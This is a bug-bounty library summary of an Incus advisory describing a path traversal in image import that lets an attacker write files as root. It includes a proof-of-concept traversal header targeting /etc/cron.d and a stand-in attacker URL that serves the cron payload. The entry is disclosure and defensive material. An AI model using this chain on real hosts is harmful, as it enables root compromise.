# Incus has an arbitrary file write on its client due to trusted image hash

Malicious image server returns traversal in Incus-Image-Hash header, causing Incus daemon to write attacker bytes to arbitrary root-owned path like /etc/cron.d.

- Payout: Research
- Severity: critical
- Program: Incus
- Found by: antifob
- Disclosed: 2026-06-26
- CVE: CVE-2026-48769
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-f6m5-xw2g-xc4x
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-f6m5-xw2g-xc4x
- Tags: area:cloud domain:infra impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:misconfiguration vuln:path-traversal vuln:rce

**Target:** Incus daemon image import via source.type=url
**Root cause:** The Incus-Image-Hash header from an attacker-controlled image server is used directly as the destination filename (fp) without sanitization, and the file is created/populated before SHA-256 validation.
**Steps:**
1. Attacker serves HEAD /stage returning `Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce` and `Incus-Image-URL: http://attacker/payload`.
2. Victim triggers `POST /1.0/images` with `{"source":{"type":"url","url":"http://attacker/stage"}}`.
3. Daemon HEADs the URL, reads the hash header, sets fp to the traversal string.
4. daemon_images.go builds `destName := filepath.Join(destDir, fp)` and `os.Create()` opens the escaped path.
5. GET /payload streams cron payload into the file; response held open to delay cleanup.
6. Cron executes the written file as root.
**How found:** Code review of the source.type=url path: noticed the trusted Incus-Image-Hash header flows into fp and then filepath.Join, and that SHA-256 validation happens only after os.Create and copy.
**Exploitation:** Attacker controls an image server reachable by the Incus daemon, returns a traversal hash and a payload URL, then triggers an image import. The daemon writes the streamed payload to /etc/cron.d/... as root; holding the HTTP response open prevents cleanup from removing the file before cron fires.
**Escalation:** Arbitrary file write as root chained to cron.d drop for command execution.
**Insight:** When a remote server supplies a 'fingerprint' or filename that gets joined into a path, check whether validation occurs before or after file creation; a held-open response can extend the window past cleanup.

## Proof of concept (copied exactly from the original report)

**Malicious image server headers with traversal hash**

```
Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://attacker/payload
```

